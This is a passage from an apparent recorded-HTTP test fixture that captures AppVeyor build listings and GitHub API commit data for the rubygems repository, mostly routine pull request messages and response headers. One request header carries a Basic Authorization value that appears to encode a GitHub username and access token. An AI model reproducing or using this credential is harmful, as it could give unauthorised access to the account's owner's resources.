current time.","branch":"master","isTag":false,"commitId":"0c05245b768d8e557e219ac216752d37a26b32eb","authorName":"anthraxx","authorUsername":"anthraxx","committerName":"anthraxx","committerUsername":"anthraxx","committed":"2018-05-02T19:34:32+00:00","pullRequestId":"2278","pullRequestName":"support SOURCE_DATE_EPOCH to make gem spec reproducible","messages":[],"status":"failed","started":"2018-05-02T23:31:34.4604491+00:00","finished":"2018-05-02T23:45:57.2628+00:00","created":"2018-05-02T23:31:18.8328853+00:00","updated":"2018-05-02T23:45:57.2628+00:00"},{"buildId":15573338,"jobs":[],"buildNumber":1098,"version":"1098","message":"Auto merge of #2275 - rubygems:retry_api_specification_spec_with_original_platform, r=bronzdoc","messageExtended":"Retry api specification spec with original platform\n\n# Description:\ncloses https://github.com/rubygems/rubygems/issues/2140\n\nFallback to `original_platform` when no gem with `platform` is found\n\nI will abide by the [code of conduct](https://github.com/rubygems/rubygems/blob/master/CODE_OF_CONDUCT.md).","branch":"master","isTag":false,"commitId":"9054079ce8a1ad05dd206a3562339b74712c7fc6","authorName":"The Bundler Bot","authorUsername":"bundlerbot","committerName":"The Bundler Bot","committerUsername":"bundlerbot","committed":"2018-05-01T14:40:39+00:00","messages":[],"status":"success","started":"2018-05-01T15:04:24.376366+00:00","finished":"2018-05-01T15:19:39.1815921+00:00","created":"2018-05-01T15:04:06.9149509+00:00","updated":"2018-05-01T15:19:39.1815921+00:00"},{"buildId":15572793,"jobs":[],"buildNumber":1097,"version":"1097","message":"Auto merge of #2275 - rubygems:retry_api_specification_spec_with_original_platform, r=bronzdoc","messageExtended":"Retry api specification spec with original platform\n\n# Description:\ncloses https://github.com/rubygems/rubygems/issues/2140\n\nFallback to `original_platform` when no gem with `platform` is found\n\nI will abide by the [code of conduct](https://github.com/rubygems/rubygems/blob/master/CODE_OF_CONDUCT.md).","branch":"auto","isTag":false,"commitId":"9054079ce8a1ad05dd206a3562339b74712c7fc6","authorName":"The Bundler Bot","authorUsername":"bundlerbot","committerName":"The Bundler Bot","committerUsername":"bundlerbot","committed":"2018-05-01T14:40:39+00:00","messages":[],"status":"success","started":"2018-05-01T14:41:02.6071906+00:00","finished":"2018-05-01T14:57:45.3635636+00:00","created":"2018-05-01T14:40:44.8588036+00:00","updated":"2018-05-01T14:57:45.3635636+00:00"},{"buildId":15532739,"jobs":[],"buildNumber":1096,"version":"1096","message":"Test api specification with a gem pushed with original platfom","branch":"master","isTag":false,"commitId":"1a27334cafa89f7e1b1dd836e5e06ee9c0e10d87","authorName":"Luis Sagastume","authorUsername":"bronzdoc","committerName":"Luis Sagastume","committerUsername":"bronzdoc","committed":"2018-04-29T15:55:17+00:00","pullRequestId":"2275","pullRequestName":"Retry api specification spec with original platform","messages":[],"status":"success","started":"2018-04-29T16:17:20.7445284+00:00","finished":"2018-04-29T16:30:32.5035871+00:00","created":"2018-04-29T16:17:10.4112062+00:00","updated":"2018-04-29T16:30:32.5035871+00:00"},{"buildId":15516281,"jobs":[],"buildNumber":1095,"version":"1095","message":"Auto merge of #2115 - MSP-Greg:frozen_string, r=colby-swandale","messageExtended":"Frozen string fix - lib/rubygems/bundler_version_finder.rb\n\nWhen starting ruby with `RUBYOPT=--enable-frozen-string-literal`, there are a few issues in RubyGems. This is the only issue I found in RubyGems, the others were in RDoc, which do cause RubyGems tests to fail. Working on that.\n\nI found this when I noticed a popluar gem was failing CI, turns out the owner had enabled the above setting. Investigation found this...\n______________\n\n- [X] Describe the problem / feature\n- [ ] Write tests\n- [X] Write code to solve the problem\n- [ ] Get code review from coworkers / friends\n\nI will abide by the [code of conduct](https://github.com/rubygems/rubygems/blob/master/CODE_OF_CONDUCT.md).","branch":"2.7","isTag":false,"commitId":"7f0131d0b37eeddd287b06bd025fd3776acad351","authorName":"The Bundler Bot","authorUsername":"bundlerbot","committerName":"SHIBATA Hiroshi","committerUsername":"hsbt","committed":"2018-04-28T06:34:16+00:00","messages":[],"status":"success","started":"2018-04-28T06:34:43.0024874+00:00","finished":"2018-04-28T07:17:16.1488075+00:00","created":"2018-04-28T06:34:26.2509483+00:00","updated":"2018-04-28T07:17:16.1488075+00:00"},{"buildId":15515918,"jobs":[],"buildNumber":1094,"version":"1094","message":"Auto merge of #2264 - rubygems:backport-ruby-core, r=hsbt","messageExtended":"Backport ruby core commits\n\n# Description:\n\nPicked commits from ruby/ruby repository.\n\n______________\n\n# Tasks:\n\n- [ ] Describe the problem / feature\n- [ ] Write tests\n- [ ] Write code to solve the problem\n- [ ] Get code review from coworkers / friends\n\nI will abide by the [code of conduct](https://github.com/rubygems/rubygems/blob/master/CODE_OF_CONDUCT.md).","branch":"2.7","isTag":false,"commitId":"d64e6253512fcf74dd6565d60c8508c210d1afc4","authorName":"The Bundler Bot","authorUsername":"bundlerbot","committerName":"SHIBATA Hiroshi","committerUsername":"hsbt","committed":"2018-04-28T05:34:42+00:00","messages":[],"status":"failed","started":"2018-04-28T05:47:36.1512737+00:00","finished":"2018-04-28T06:23:20.7135176+00:00","created":"2018-04-28T05:47:22.8646902+00:00","updated":"2018-04-28T06:23:20.7135176+00:00"},{"buildId":15515633,"jobs":[],"buildNumber":1093,"version":"1093","message":"Auto merge of #2181 - rubygems:fix-destdir-assignment, r=segiddins","messageExtended":"Fixed no assignment variables about default gems installation.\n\nFixes https://github.com/rubygems/rubygems/pull/2178#pullrequestreview-95315467","branch":"2.7","isTag":false,"commitId":"12718531a48a4cfdccf9a32463318495bc0109bd","authorName":"The Bundler Bot","authorUsername":"bundlerbot","committerName":"SHIBATA Hiroshi","committerUsername":"hsbt","committed":"2018-02-16T07:45:05+00:00","messages":[],"status":"success","started":"2018-04-28T05:02:39.3895221+00:00","finished":"2018-04-28T05:46:39.3019377+00:00","created":"2018-04-28T05:02:21.9790954+00:00","updated":"2018-04-28T05:46:39.3019377+00:00"},{"buildId":15410508,"jobs":[],"buildNumber":1092,"version":"1092","message":"Auto merge of #2266 - deivid-rodriguez:refine_warning, r=bronzdoc","messageExtended":"Tweak warning recommendation\n\n# Description:\n\nIn #2242 I introduced a recommendation to fix the semver warning in the case where the dependency is not semantically versioned. However, I think the recommendation was incorrect since, for example, `< 5.2` still allows `5.2.0.rc1`, whereas something like `~> 5.1.5` does not.\n\nI was bitten by this when I updated my dependencies according to the recommendation and the `rails-5.2.0.rc1` gem installed on my system was unintentionally activated.\n\n# Tasks:\n\n- [x] Describe the problem / feature\n- [x] Write tests\n- [x] Write code to solve the problem\n- [ ] Get code review from coworkers / friends\n\nI will abide by the [code of conduct](https://github.com/rubygems/rubygems/blob/master/CODE_OF_CONDUCT.md).","branch":"master","isTag":false,"commitId":"47d6a7de07cd9694642e121ff6b094cf37a58478","authorName":"The Bundler Bot","authorUsername":"bundlerbot","committerName":"The Bundler Bot","committerUsername":"bundlerbot","committed":"2018-04-24T02:54:49+00:00","messages":[],"status":"success","started":"2018-04-24T03:21:16.1236422+00:00","finished":"2018-04-24T03:34:25.3598971+00:00","created":"2018-04-24T03:21:03.1714827+00:00","updated":"2018-04-24T03:34:25.3598971+00:00"},{"buildId":15410263,"jobs":[],"buildNumber":1091,"version":"1091","message":"Auto merge of #2266 - deivid-rodriguez:refine_warning, r=bronzdoc","messageExtended":"Tweak warning recommendation\n\n# Description:\n\nIn #2242 I introduced a recommendation to fix the semver warning in the case where the dependency is not semantically versioned. However, I think the recommendation was incorrect since, for example, `< 5.2` still allows `5.2.0.rc1`, whereas something like `~> 5.1.5` does not.\n\nI was bitten by this when I updated my dependencies according to the recommendation and the `rails-5.2.0.rc1` gem installed on my system was unintentionally activated.\n\n# Tasks:\n\n- [x] Describe the problem / feature\n- [x] Write tests\n- [x] Write code to solve the problem\n- [ ] Get code review from coworkers / friends\n\nI will abide by the [code of conduct](https://github.com/rubygems/rubygems/blob/master/CODE_OF_CONDUCT.md).","branch":"auto","isTag":false,"commitId":"47d6a7de07cd9694642e121ff6b094cf37a58478","authorName":"The Bundler Bot","authorUsername":"bundlerbot","committerName":"The Bundler Bot","committerUsername":"bundlerbot","committed":"2018-04-24T02:54:49+00:00","messages":[],"status":"success","started":"2018-04-24T02:55:11.3944973+00:00","finished":"2018-04-24T03:08:24.8488991+00:00","created":"2018-04-24T02:54:54.1207411+00:00","updated":"2018-04-24T03:08:24.8488991+00:00"},{"buildId":15385180,"jobs":[],"buildNumber":1090,"version":"1090","message":"Auto merge of #2271 - jfmyers9:wip-env-shebang-setup, r=bronzdoc","messageExtended":"Add `--env-shebang` flag to setup command\n\n# Description:\n\nWith the recent changes in ruby, installing rubygems by using `ruby setup.rb` will install the `bin/bundle` and `bin/gem` with a shebang that points at the absolute path to the ruby executable. This has proven problematic for our use case. While other `gem` commands respect the `--env-shebang` option either passed through the command line or the configuration file, the `setup_command` does not.\n\nThis change adds the `--env-shebang` flag to the setup command. When provided the flag will use the `#!/usr/bin/env ruby` shebang for the gem and bundle executable. When regenerating binstub, the `--env-shebang` flag will be passed through to the internal pristine command as well.\n\n______________\n\n# Tasks:\n\n- [x] Describe the problem / feature\n- [x] Write tests\n- [x] Write code to solve the problem\n- [x] Get code review from coworkers / friends\n\nI will abide by the [code of conduct](https://github.com/rubygems/rubygems/blob/master/CODE_OF_CONDUCT.md).","branch":"master","isTag":false,"commitId":"618c4849242052dd4bf54737125430865d5db4c2","authorName":"The Bundler Bot","authorUsername":"bundlerbot","committerName":"The Bundler Bot","committerUsername":"bundlerbot","committed":"2018-04-23T04:05:48+00:00","messages":[],"status":"success","started":"2018-04-23T04:34:23.6877437+00:00","finished":"2018-04-23T04:48:24.4535921+00:00","created":"2018-04-23T04:34:12.1731368+00:00","updated":"2018-04-23T04:48:24.4535921+00:00"},{"buildId":15384970,"jobs":[],"buildNumber":1089,"version":"1089","message":"Auto merge of #2271 - jfmyers9:wip-env-shebang-setup, r=bronzdoc","messageExtended":"Add `--env-shebang` flag to setup command\n\n# Description:\n\nWith the recent changes in ruby, installing rubygems by using `ruby setup.rb` will install the `bin/bundle` and `bin/gem` with a shebang that points at the absolute path to the ruby executable. This has proven problematic for our use case. While other `gem` commands respect the `--env-shebang` option either passed through the command line or the configuration file, the `setup_command` does not.\n\nThis change adds the `--env-shebang` flag to the setup command. When provided the flag will use the `#!/usr/bin/env ruby` shebang for the gem and bundle executable. When regenerating binstub, the `--env-shebang` flag will be passed through to the internal pristine command as well.\n\n______________\n\n# Tasks:\n\n- [x] Describe the problem / feature\n- [x] Write tests\n- [x] Write code to solve the problem\n- [x] Get code review from coworkers / friends\n\nI will abide by the [code of conduct](https://github.com/rubygems/rubygems/blob/master/CODE_OF_CONDUCT.md).","branch":"auto","isTag":false,"commitId":"618c4849242052dd4bf54737125430865d5db4c2","authorName":"The Bundler Bot","authorUsername":"bundlerbot","committerName":"The Bundler Bot","committerUsername":"bundlerbot","committed":"2018-04-23T04:05:48+00:00","messages":[],"status":"success","started":"2018-04-23T04:06:04.6362329+00:00","finished":"2018-04-23T04:18:49.5027309+00:00","created":"2018-04-23T04:05:53.4504917+00:00","updated":"2018-04-23T04:18:49.5027309+00:00"},{"buildId":15341099,"jobs":[],"buildNumber":1088,"version":"1088","message":"Add `--env-shebang` flag to setup command","messageExtended":"This change adds the `--env-shebang` flag to the setup command. When\nprovided the flag will use the `#!/usr/bin/env ruby` shebang for the gem\nand bundle executable. When regenerating binstub, the `--env-shebang`\nflag will be passed through to the internal pristine command as well.","branch":"master","isTag":false,"commitId":"be132e9b5915586b582417cef830e33e2f197729","authorName":"James Myers","authorUsername":"jfmyers9","committerName":"James Myers","committerUsername":"jfmyers9","committed":"2018-04-20T03:02:21+00:00","pullRequestId":"2271","pullRequestName":"Add `--env-shebang` flag to setup command","messages":[],"status":"success","started":"2018-04-20T06:44:21.6701241+00:00","finished":"2018-04-20T06:58:15.5024771+00:00","created":"2018-04-20T06:44:10.8296272+00:00","updated":"2018-04-20T06:58:15.5024771+00:00"},{"buildId":15339084,"jobs":[],"buildNumber":1087,"version":"1087","message":"Add `--env-shebang` flag to setup command","messageExtended":"This change adds the `--env-shebang` flag to the setup command. When\nprovided the flag will use the `#!/usr/bin/env ruby` shebang for the gem\nand bundle executable. When regenerating binstub, the `--env-shebang`\nflag will be passed through to the internal pristine command as well.","branch":"master","isTag":false,"commitId":"4a5082d69b1f680d7a86d435d3b94ee76739912b","authorName":"James Myers","authorUsername":"jfmyers9","committerName":"James Myers","committerUsername":"jfmyers9","committed":"2018-04-20T03:02:21+00:00","pullRequestId":"2271","pullRequestName":"Add `--env-shebang` flag to setup command","messages":[],"status":"failed","started":"2018-04-20T03:27:40.4693333+00:00","finished":"2018-04-20T03:41:53.5216668+00:00","created":"2018-04-20T03:27:21.1554403+00:00","updated":"2018-04-20T03:41:53.5216668+00:00"},{"buildId":15272637,"jobs":[],"buildNumber":1086,"version":"1086","message":"Auto merge of #2268 - rubygems:add_git_to_gem_env, r=bronzdoc","messageExtended":"Show git path in gem env\n\n# Description:\ncloses https://github.com/rubygems/rubygems/issues/2021\n\nAdds Git path to `gem env`\n```\nRubyGems Environment:\n ...\n - GIT EXECUTABLE: /usr/bin/git\n ...\n```\n\nstill need to add a test for this...\n\nI will abide by the [code of conduct](https://github.com/rubygems/rubygems/blob/master/CODE_OF_CONDUCT.md).","branch":"master","isTag":false,"commitId":"5bb809044acad8898f09d0bf3cd4043dde68f72b","authorName":"The Bundler Bot","authorUsername":"bundlerbot","committerName":"The Bundler Bot","committerUsername":"bundlerbot","committed":"2018-04-17T15:26:02+00:00","messages":[],"status":"success","started":"2018-04-17T15:53:39.960809+00:00","finished":"2018-04-17T16:12:13.0281315+00:00","created":"2018-04-17T15:53:19.3503718+00:00","updated":"2018-04-17T16:12:13.0281315+00:00"},{"buildId":15271865,"jobs":[],"buildNumber":1085,"version":"1085","message":"Auto merge of #2268 - rubygems:add_git_to_gem_env, r=bronzdoc","messageExtended":"Show git path in gem env\n\n# Description:\ncloses https://github.com/rubygems/rubygems/issues/2021\n\nAdds Git path to `gem env`\n```\nRubyGems Environment:\n ...\n - GIT EXECUTABLE: /usr/bin/git\n ...\n```\n\nstill need to add a test for this...\n\nI will abide by the [code of conduct](https://github.com/rubygems/rubygems/blob/master/CODE_OF_CONDUCT.md).","branch":"auto","isTag":false,"commitId":"5bb809044acad8898f09d0bf3cd4043dde68f72b","authorName":"The Bundler Bot","authorUsername":"bundlerbot","committerName":"The Bundler Bot","committerUsername":"bundlerbot","committed":"2018-04-17T15:26:02+00:00","messages":[],"status":"success","started":"2018-04-17T15:26:30.680431+00:00","finished":"2018-04-17T15:43:48.3894539+00:00","created":"2018-04-17T15:26:09.7012273+00:00","updated":"2018-04-17T15:43:48.3894539+00:00"},{"buildId":15266667,"jobs":[],"buildNumber":1084,"version":"1084","message":"Deprecate ubygems.rb","branch":"master","isTag":false,"commitId":"0a053e055cd8978ac43e0a0148eafd97218e07de","authorName":"SHIBATA Hiroshi","authorUsername":"hsbt","committerName":"SHIBATA Hiroshi","committerUsername":"hsbt","committed":"2018-03-03T01:59:04+00:00","pullRequestId":"2269","pullRequestName":"[WIP] Mark deprecation to obsoleted methods for RubyGems 4","messages":[],"status":"success","started":"2018-04-17T12:01:39.7030187+00:00","finished":"2018-04-17T12:16:50.2520854+00:00","created":"2018-04-17T12:01:30.8592025+00:00","updated":"2018-04-17T12:16:50.2520854+00:00"},{"buildId":15259323,"jobs":[],"buildNumber":1083,"version":"1083","message":"Deprecate ubygems.rb","branch":"more-deprecate-rubygems3","isTag":false,"commitId":"8933115bff09402f6baaffe2f2bf6971f71081fb","authorName":"SHIBATA Hiroshi","authorUsername":"hsbt","committerName":"SHIBATA Hiroshi","committerUsername":"hsbt","committed":"2018-04-17T05:30:28+00:00","messages":[],"status":"failed","started":"2018-04-17T05:31:02.3791372+00:00","finished":"2018-04-17T05:45:01.2328452+00:00","created":"2018-04-17T05:30:47.9992994+00:00","updated":"2018-04-17T05:45:01.2328452+00:00"},{"buildId":15256638,"jobs":[],"buildNumber":1082,"version":"1082","message":"Update molinillo-0.6.5","branch":"master","isTag":false,"commitId":"b1cfdc8136e020758b57c8861206ac6ce3323748","authorName":"SHIBATA Hiroshi","authorUsername":"hsbt","committerName":"SHIBATA Hiroshi","committerUsername":"hsbt","committed":"2018-04-17T00:54:48+00:00","pullRequestId":"2026","pullRequestName":"Update Molinillo 0.6.3 same as bundler-1.16.0","messages":[],"status":"failed","started":"2018-04-17T01:09:58.7367897+00:00","finished":"2018-04-17T01:24:34.3200403+00:00","created":"2018-04-17T00:55:06.4622704+00:00","updated":"2018-04-17T01:24:34.3200403+00:00"},{"buildId":15256637,"jobs":[],"buildNumber":1081,"version":"1081","message":"Update molinillo-0.6.5","branch":"molinillo-0-6-3","isTag":false,"commitId":"ee5c8949b9a109b43f7367f488533031a9713719","authorName":"SHIBATA Hiroshi","authorUsername":"hsbt","committerName":"SHIBATA Hiroshi","committerUsername":"hsbt","committed":"2018-04-17T00:54:48+00:00","messages":[],"status":"failed","started":"2018-04-17T00:55:16.8701864+00:00","finished":"2018-04-17T01:09:51.6062274+00:00","created":"2018-04-17T00:55:04.7860654+00:00","updated":"2018-04-17T01:09:51.6062274+00:00"},{"buildId":15252730,"jobs":[],"buildNumber":1080,"version":"1080","message":"Make git_path method a environment_command private method","branch":"master","isTag":false,"commitId":"320c767e9133fff8b4864b0ab91e658106a84414","authorName":"Luis Sagastume","authorUsername":"bronzdoc","committerName":"Luis Sagastume","committerUsername":"bronzdoc","committed":"2018-04-16T21:08:28+00:00","pullRequestId":"2268","pullRequestName":"Show git path in gem env","messages":[],"status":"success","started":"2018-04-16T21:09:26.3312772+00:00","finished":"2018-04-16T21:27:24.6217229+00:00","created":"2018-04-16T21:08:55.3364875+00:00","updated":"2018-04-16T21:27:24.6217229+00:00"},{"buildId":15204574,"jobs":[],"buildNumber":1079,"version":"1079","message":"Show git path in gem environment","branch":"master","isTag":false,"commitId":"2b13d4796c096d1169a9f85bddbd00c6de5fdb1c","authorName":"Luis Sagastume","authorUsername":"bronzdoc","committerName":"Luis Sagastume","committerUsername":"bronzdoc","committed":"2018-04-13T18:21:24+00:00","pullRequestId":"2268","pullRequestName":"[WIP] Add git to gem env","messages":[],"status":"success","started":"2018-04-14T00:45:37.2643985+00:00","finished":"2018-04-14T00:59:06.7336718+00:00","created":"2018-04-14T00:45:24.3896684+00:00","updated":"2018-04-14T00:59:06.7336718+00:00"},{"buildId":15198089,"jobs":[],"buildNumber":1078,"version":"1078","message":"Show git path in gem environment","branch":"master","isTag":false,"commitId":"34baceae1eb4be4d2bfd58639a083a80634eab4a","authorName":"Luis Sagastume","authorUsername":"bronzdoc","committerName":"Luis Sagastume","committerUsername":"bronzdoc","committed":"2018-04-13T18:21:24+00:00","pullRequestId":"2268","pullRequestName":"[WIP] Add git to gem env","messages":[],"status":"success","started":"2018-04-13T18:26:01.5177728+00:00","finished":"2018-04-13T18:41:44.3113356+00:00","created":"2018-04-13T18:25:45.724443+00:00","updated":"2018-04-13T18:41:44.3113356+00:00"}]}' http_version: recorded_at: Fri, 25 May 2018 15:54:59 GMT - request: method: get uri: https://api.github.com/repos/rubygems/rubygems/commits?author=bot@bundler.io&until=2017-07-01 body: encoding: US-ASCII string: '' headers: Accept: - application/vnd.github.v3+json,application/vnd.github.beta+json;q=0.5,application/json;q=0.1 Accept-Charset: - utf-8 User-Agent: - Github API Ruby Gem 0.18.2 Authorization: - Basic ZHVja2luYXRvcjo5MTgyNzc3ZmYzYzAwNjc5NTE5M2E1NzBjZGFjMzI2YjY0NDU5ZGM5 Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Fri, 15 Mar 2019 21:54:06 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '4310' X-Ratelimit-Reset: - '1552689075' Cache-Control: - private, max-age=60, s-maxage=60 Vary: - Accept, Authorization, Cookie, X-GitHub-OTP Etag: - W/"e2582afdf43b250754b02931b1bf2c52" Last-Modified: - Tue, 27 Jun 2017 16:10:49 GMT X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - '' X-Github-Media-Type: - github.v3; format=json Access-Control-Expose-Headers: - ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type Access-Control-Allow-Origin: - "*" Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Frame-Options: - deny X-Content-Type-Options: - nosniff X-Xss-Protection: - 1; mode=block Referrer-Policy: - origin-when-cross-origin, strict-origin-when-cross-origin Content-Security-Policy: - default-src 'none' X-Github-Request-Id: - AB01:0A73:1091B8B:21A3D88:5C8C1EFE body: encoding: ASCII-8BIT string: '[{"sha":"3841d147b25531a68f3eb2fa943a5ad736ec98d8","node_id":"MDY6Q29tbWl0NjE0MDcwOjM4NDFkMTQ3YjI1NTMxYTY4ZjNlYjJmYTk0M2E1YWQ3MzZlYzk4ZDg=","commit":{"author":{"name":"The Bundler Bot","email":"bot@bundler.io","date":"2017-06-27T16:10:49Z"},"committer":{"name":"The Bundler Bot","email":"bot@bundler.io","date":"2017-06-27T16:10:49Z"},"message":"Auto merge of #1944 - shivabhusal:sign_in_feature, r=segiddins\n\nAdd command `signin` to `gem` CLI\n\n# Description:\n Lets user to login to any `gem-cutter` compatible package hosts. But, the default would be `rubygems.org`\n\n The command will take `--host` as a switch to let use pass the host URL\n\ncloses #1634\n\n**Note**: There''s already PR for this - https://github.com/rubygems/rubygems/pull/1635/files.\nI thought this would be much simpler. What do you guys think?\n\n# Tasks:\n\n- [x] Describe the problem / feature\n- [x] Write tests\n- [x] Write code to solve the problem\n- [ ] Get code review from coworkers / friends\n\nI will abide by the [code of conduct](https://github.com/rubygems/rubygems/blob/master/CODE_OF_CONDUCT.md).","tree":{"sha":"fdd6a34effa795e2a7926163c302dc6592bb321e","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/fdd6a34effa795e2a7926163c302dc6592bb321e"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/3841d147b25531a68f3eb2fa943a5ad736ec98d8","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/3841d147b25531a68f3eb2fa943a5ad736ec98d8","html_url":"https://github.com/rubygems/rubygems/commit/3841d147b25531a68f3eb2fa943a5ad736ec98d8","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/3841d147b25531a68f3eb2fa943a5ad736ec98d8/comments","author":{"login":"bundlerbot","id":13614622,"node_id":"MDQ6VXNlcjEzNjE0NjIy","avatar_url":"https://avatars1.githubusercontent.com/u/13614622?v=4","gravatar_id":"","url":"https://api.github.com/users/bundlerbot","html_url":"https://github.com/bundlerbot","followers_url":"https://api.github.com/users/bundlerbot/followers","following_url":"https://api.github.com/users/bundlerbot/following{/other_user}","gists_url":"https://api.github.com/users/bundlerbot/gists{/gist_id}","starred_url":"https://api.github.com/users/bundlerbot/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bundlerbot/subscriptions","organizations_url":"https://api.github.com/users/bundlerbot/orgs","repos_url":"https://api.github.com/users/bundlerbot/repos","events_url":"https://api.github.com/users/bundlerbot/events{/privacy}","received_events_url":"https://api.github.com/users/bundlerbot/received_events","type":"User","site_admin":false},"committer":{"login":"bundlerbot","id":13614622,"node_id":"MDQ6VXNlcjEzNjE0NjIy","avatar_url":"https://avatars1.githubusercontent.com/u/13614622?v=4","gravatar_id":"","url":"https://api.github.com/users/bundlerbot","html_url":"https://github.com/bundlerbot","followers_url":"https://api.github.com/users/bundlerbot/followers","following_url":"https://api.github.com/users/bundlerbot/following{/other_user}","gists_url":"https://api.github.com/users/bundlerbot/gists{/gist_id}","starred_url":"https://api.github.com/users/bundlerbot/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bundlerbot/subscriptions","organizations_url":"https://api.github.com/users/bundlerbot/orgs","repos_url":"https://api.github.com/users/bundlerbot/repos","events_url":"https://api.github.com/users/bundlerbot/events{/privacy}","received_events_url":"https://api.github.com/users/bundlerbot/received_events","type":"User","site_admin":false},"parents":[{"sha":"20adaf83161550f0c0403b18f9c45a5302e9202a","url":"https://api.github.com/repos/rubygems/rubygems/commits/20adaf83161550f0c0403b18f9c45a5302e9202a","html_url":"https://github.com/rubygems/rubygems/commit/20adaf83161550f0c0403b18f9c45a5302e9202a"},{"sha":"66d511798f36c6b2309d9d4561c5c2fa221473cf","url":"https://api.github.com/repos/rubygems/rubygems/commits/66d511798f36c6b2309d9d4561c5c2fa221473cf","html_url":"https://github.com/rubygems/rubygems/commit/66d511798f36c6b2309d9d4561c5c2fa221473cf"}]},{"sha":"20adaf83161550f0c0403b18f9c45a5302e9202a","node_id":"MDY6Q29tbWl0NjE0MDcwOjIwYWRhZjgzMTYxNTUwZjBjMDQwM2IxOGY5YzQ1YTUzMDJlOTIwMmE=","commit":{"author":{"name":"The Bundler Bot","email":"bot@bundler.io","date":"2017-06-24T22:58:51Z"},"committer":{"name":"The Bundler Bot","email":"bot@bundler.io","date":"2017-06-24T22:58:51Z"},"message":"Auto merge of #1951 - hsbt:backport-r58419-master, r=hsbt\n\nBackport r58419 from ruby/ruby repository(to master branch)\n\n# Description:\n\nIt is patch file for https://github.com/rubygems/rubygems/issues/1901\n\n* https://github.com/ruby/ruby/commit/1721dfa0ea963a85d4ac1e3415eb18ef427d4d36\n* https://svn.ruby-lang.org/cgi-bin/viewvc.cgi?view=revision&revision=58419\n```\nrelease monitor correctly.\n\n* lib/rubygems/core_ext/kernel_require.rb: sometimes\n `Kernel.send(:gem, spec.name)` can raise some errors\n (Gem::MissingSpecError I observed) and this method\n doesn''t release RUBYGEMS_ACTIVATION_MONITOR correctly.\n This patch fix this problem.\n```\n\n______________\n\n# Tasks:\n\n- [x] Describe the problem / feature\n- [ ] Write tests\n- [x] Write code to solve the problem\n- [ ] Get code review from coworkers / friends\n\nI will abide by the [code of conduct](https://github.com/rubygems/rubygems/blob/master/CODE_OF_CONDUCT.md).","tree":{"sha":"011c4abb614bf99a004a00d927c193a41f2351ca","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/011c4abb614bf99a004a00d927c193a41f2351ca"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/20adaf83161550f0c0403b18f9c45a5302e9202a","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/20adaf83161550f0c0403b18f9c45a5302e9202a","html_url":"https://github.com/rubygems/rubygems/commit/20adaf83161550f0c0403b18f9c45a5302e9202a","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/20adaf83161550f0c0403b18f9c45a5302e9202a/comments","author":{"login":"bundlerbot","id":13614622,"node_id":"MDQ6VXNlcjEzNjE0NjIy","avatar_url":"https://avatars1.githubusercontent.com/u/13614622?v=4","gravatar_id":"","url":"https://api.github.com/users/bundlerbot","html_url":"https://github.com/bundlerbot","followers_url":"https://api.github.com/users/bundlerbot/followers","following_url":"https://api.github.com/users/bundlerbot/following{/other_user}","gists_url":"https://api.github.com/users/bundlerbot/gists{/gist_id}","starred_url":"https://api.github.com/users/bundlerbot/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bundlerbot/subscriptions","organizations_url":"https://api.github.com/users/bundlerbot/orgs","repos_url":"https://api.github.com/users/bundlerbot/repos","events_url":"https://api.github.com/users/bundlerbot/events{/privacy}","received_events_url":"https://api.github.com/users/bundlerbot/received_events","type":"User","site_admin":false},"committer":{"login":"bundlerbot","id":13614622,"node_id":"MDQ6VXNlcjEzNjE0NjIy","avatar_url":"https://avatars1.githubusercontent.com/u/13614622?v=4","gravatar_id":"","url":"https://api.github.com/users/bundlerbot","html_url":"https://github.com/bundlerbot","followers_url":"https://api.github.com/users/bundlerbot/followers","following_url":"https://api.github.com/users/bundlerbot/following{/other_user}","gists_url":"https://api.github.com/users/bundlerbot/gists{/gist_id}","starred_url":"https://api.github.com/users/bundlerbot/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bundlerbot/subscriptions","organizations_url":"https://api.github.com/users/bundlerbot/orgs","repos_url":"https://api.github.com/users/bundlerbot/repos","events_url":"https://api.github.com/users/bundlerbot/events{/privacy}","received_events_url":"https://api.github.com/users/bundlerbot/received_events","type":"User","site_admin":false},"parents":[{"sha":"0a0ff34170eb1371068ff97a3911b484e9d812de","url":"https://api.github.com/repos/rubygems/rubygems/commits/0a0ff34170eb1371068ff97a3911b484e9d812de","html_url":"https://github.com/rubygems/rubygems/commit/0a0ff34170eb1371068ff97a3911b484e9d812de"},{"sha":"bdc8f0d60d17eb689b85cc318ea948b9581c0fdc","url":"https://api.github.com/repos/rubygems/rubygems/commits/bdc8f0d60d17eb689b85cc318ea948b9581c0fdc","html_url":"https://github.com/rubygems/rubygems/commit/bdc8f0d60d17eb689b85cc318ea948b9581c0fdc"}]},{"sha":"0a0ff34170eb1371068ff97a3911b484e9d812de","node_id":"MDY6Q29tbWl0NjE0MDcwOjBhMGZmMzQxNzBlYjEzNzEwNjhmZjk3YTM5MTFiNDg0ZTlkODEyZGU=","commit":{"author":{"name":"The Bundler Bot","email":"bot@bundler.io","date":"2017-06-22T00:26:44Z"},"committer":{"name":"The Bundler Bot","email":"bot@bundler.io","date":"2017-06-22T00:26:44Z"},"message":"Auto merge of #1959 - rubygems:seg-remove-bundler-postit-trampoline, r=indirect\n\nRemove all references to the Bundler postit trampoline\n\n# Description:\n\nIt has now been removed from Bundler entirely\n\n# 